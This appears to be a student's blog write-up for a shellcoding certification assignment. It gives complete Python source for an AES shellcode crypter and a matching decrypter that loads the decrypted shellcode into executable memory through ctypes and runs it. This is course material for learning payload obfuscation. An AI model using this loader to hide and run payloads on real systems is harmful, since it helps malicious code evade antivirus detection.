Skip to main content

SLAE32 - Assignment 7

This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first six (6) parts here:

Part 1 - Assignment 1

Part 2 - Assignment 2

Part 3 - Assignment 3

Part 4 - Assignment 4

Part 5 - Assignment 5

Part 6 - Assignment 6

The requirements for this assignment are as follows:

  1. Create a custom crypter like the one shown in the "crypters" video
  2. Free to use any existing encryption shcema
  3. Can use any programming language

Full code can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-7

Supplemental scripts developed for this class can be found on GitHub here:
https://github.com/blu3gl0w13/SLAE32/tree/master/scripts


While I really enjoyed assignment six (6), this challenge was my favorite. It gave me an opportunity to advance my knowledge of Python while at the same time thinking through some of the finer details between Python and assembly. I made a ton of initial mistakes when developing the scripts for this challenge. A ton. However, I also learned more from this assignment than the others because of those mistakes. Encoding and Decoding wound up being the biggest headache as I was trying to get creative with these scripts. I wound up developing two pairs of scripts. One pair takes shellcode as a command line option, encrypts it or decrypts and executes the shellcode. The second pair perform the same task but instead of taking the shellcode from the command line, the shellcode is placed within each script. One script encrypts, the other decrypts and executes. Let's break down one pair. We'll focus on the scripts that take the shellcode and key as command line arguments.

In our shellcode-crypter.py script, we use PyCrypto found here: https://pypi.python.org/pypi/pycrypto, sys, argparse, os, and hashlib. My original goal was two fold. One, encrypt the execve-stack shellcode using AES, and two, write this in python. The original class video used RC4 and performed this operation manually using C. This provided the opportunity to learn a new module PyCrypto, which I wasn't familiar with.

#!/usr/bin/env python

####################################################
#
# shellcode-crypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE-744
# September 26, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
import argparse
import os
import hashlib

Once our imports are handled, we'll build a function to handle the encryption. We'll generate a pseudo-random 16 bytes for our salt and then again for our initialization vector. We then use hashlib.sha256().digest() to hash our provided encryption key using SHA256. We'll store our shellcode in messageToEncrypt. Following this we combine our IV, salt, and encrypted shellcode as our cipher text. We finish this function by outputting all of the information to standard out in the various forms we may need.

#---------------------------------------
#
# Define our Encryption Functions
#
#--------------------------------------

def aesCrypter(key, shellcode):
  salt = os.urandom(16)
  initVector = os.urandom(16)
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  encrypterObject = AES.new(hashedKey, mode, initVector)
  messageToEncrypt = shellcode
  cipherText = initVector + salt + encrypterObject.encrypt(messageToEncrypt)
  print "\n\n[+] RAW AES Encrypted Shellcode: \n%s" % cipherText.encode('hex')
  print "\nShellcode Length: %d" % len(cipherText)
  print "\nKey: %s" % key
  print "\nHashedkey: %s Len: %d" % (hashedKey.encode('hex'), len(hashedKey))
  print "\nSalt: %s Len: %d" % (salt.encode('hex'), len(salt))
  print "\nIV: %s Len: %d\n\n" % (initVector.encode('hex'), len(initVector))
  encShellcode = ''

  for i in bytearray(cipherText):
    encShellcode += '\\x%02x' % i

  print '\n[+] Encrypted Shellcode: "%s"\n\n' % encShellcode
  sys.exit(0)

We'll then create the main() function which will handle our argument parser setup and processing along with calling our encryption function. Finally, we'll execute the main function. One important gotcha is that whenever you pass something from the command line, it will be passed as a string. While I knew this, I got confused on the encoding/decoding portion in order to handle the shellcode encryption/decryption properly. We also have to make sure to pad our shellcode to a length divisible by 16 if for some reason it's not.

def main():
  # Setup the argument parser

  parser = argparse.ArgumentParser()
  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", dest='shellcode', \
required=True)
  parser.add_argument('-k', '--key', help='AES key to use for encryption', dest='key', \
required=True)
  options = parser.parse_args()

  # Prepare some objects

  key = options.key
  shellcode = options.shellcode
  while (len(shellcode) % 16 !=0):
    shellcode += "\x90"

  aesCrypter(key, shellcode)


if __name__ != main:
  main()

Once we run shellcode-crypter.py we get easy to use output for our decrypter script.




Our shellcode-decrypter.py works much in the same way only it decrypts our encrypted shellcode and executes it. In order to execute shellcode in Python, I relied heavily on the following blog/script: http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html. Just like before, we'll declare our imports, the only difference is we'll need to import the ctypes module. This is what we'll use for executing shellcode in Python. I added pretty verbose comments to display that I made sure I knew what each line of code did. I also altered variable names to better communicate what was going on.

#!/usr/bin/env python

####################################################
#
# shellcode-decrypter.py
# by Michael Born (@blu3gl0w13)
# Student ID: SLAE-744
# September 26, 2016
#
####################################################

# Imports

from Crypto.Cipher import AES
import sys
import argparse
import os
import hashlib
from ctypes import *

This next block of code serves as our decryption function. Notice we need to make sure we pass the key, IV, shellcode, and salt as parameters to the function. Thankfully, based on how we encrypted our shellcode, those should be easy to pull from the cipher text. All with the exception of the key of course. That'll we'll need to remember to pass to the command line as an argument.

#---------------------------------------
#
# Define our Decryption Functions
#
#--------------------------------------


def aesDecrypter(key, IV, shellcode, salt):
  hashedKey = hashlib.sha256(key + salt).digest()
  mode = AES.MODE_CBC
  initVector = IV
  decrypterObject = AES.new(hashedKey, AES.MODE_CBC, initVector)
  messageToDecrypt = shellcode
  clearText = decrypterObject.decrypt(messageToDecrypt)
  #print "\n\n[+] RAW AES Decrypted Shellcode (non hex encoded): \n\"%s\"\n\n" % clearText
  return clearText
  sys.exit(0)

We'll set up our main() function again but this time it will not only set up our argument parser and call our decrypter function but will also use our ctypes module to execute the decrypted shellcode. Like, before we setup our argument parser and variables to handle the provided command line arguments. We can easily determine our salt, and IV based on our original cipher text. We use string slices to separate those from the cipher text. We call our decrypter function and store the return value before executing our shellcode. We begin by declaring our C library from which we will pull functions and store that into a variable called libC. Next, we store decrypted into shellcode, then we decode the value properly to return the decrypted shellcode to the correct format, and then create a character pointer with our decrypted shellcode. We then create another variable to store the length of our decrypted shellcode which we'll have to use later. Once this is complete, we set up a nice cozy place in memory for our shellcode using virtual alloc and store the pointer to that location in memAddrPointer. We follow this by moving our shellcode pointed to by code into the space pointed to by memAddrPointer. We follow this by making sure to put the appropriate permissions (read, write, execute) into the location pointed to by memAddrPointer so that we don't run into issues executing the shellcode stored in that location of memory. Read (4), write (2), and execute (1) permissions are indicated by 7 (0x7). The final two instructions in our main() function set up a function using cast and CFUNCTYPE() in order to set up a compatible callback function so that we can run the decrypted shellcode stored in memory at the address pointed to by memAddrPointer. Finally, we call run() to execute the shellcode. When the main() is all set up, we call it provided our namespace isn't already main.

def main():
  # Setup the argument parser

  parser = argparse.ArgumentParser()
  parser.add_argument("-s", "--shellcode", help="Shellcode to encrypt", dest='shellcode', required=True)
  parser.add_argument('-k', '--key', help='AES key to use for encryption', dest='key', required=True)
  options = parser.parse_args()


  # Prepare some objects
  encryptedPayload = (options.shellcode).replace("\\x", "").decode('hex')
  IV = encryptedPayload[:16]
  salt = encryptedPayload[16:32]
  key = options.key
  shellcode = encryptedPayload[32::]

  decrypted = aesDecrypter(key, IV, shellcode, salt)

  # now we need to run our shellcode from here

  # The following code is based on the following blog:
  # http://hacktracking.blogspot.com/2015/05/execute-shellcode-in-python.html
  # use ctypes.CDLL to load /lib/i386-linux-gnu/libc.so.6

  libC = CDLL('libc.so.6')

  #print decrypted
  shellcode = decrypted
  shellcode = shellcode.replace('\\x', '').decode('hex')
  code = c_char_p(shellcode)
  sizeOfDecryptedShellcode = len(shellcode)

  # now we need to setup our void *valloc(size_t size) and get our pointer to allocated memory

  memAddrPointer = c_void_p(libC.valloc(sizeOfDecryptedShellcode))

  # now we need to move our code into memory using memmove 
  # void *memmove(void *dest, const void *src, size_t n)

  codeMovePointer = memmove(memAddrPointer, code, sizeOfDecryptedShellcode)


  # now we use mprotect to make sure we have read, write, and execute permisions in memory
  # R, WR, X = 0x7

  protectMemory = libC.mprotect(memAddrPointer, sizeOfDecryptedShellcode, 7)
#  print protectMemory

  # now we set up a quick execution for our shellcode using cast ctypes.cast = cast(obj, typ)
  # we'll have to call ctypes.CFUNCTYPE to identify memAddrPointer as void * (c_void_p) type

  run = cast(memAddrPointer, CFUNCTYPE(c_void_p))
#  print run
  run()

if __name__ != main:
  main()


Here are the results of running our shellcode-decrypter.py script.




Once I figured out that my original issues had to do with encoding/decoding the shellcode before the encryption/decryption process, these scripts worked beautifully. So much so that I decided to build two different versions. I encourage you to check out the non-argparse version on GitHub (link near the top of this blog). Thank you for reading this series, please leave feedback or comments. I look forward to writing more about shellcoding in the near future as I dive into it even more.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-744

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…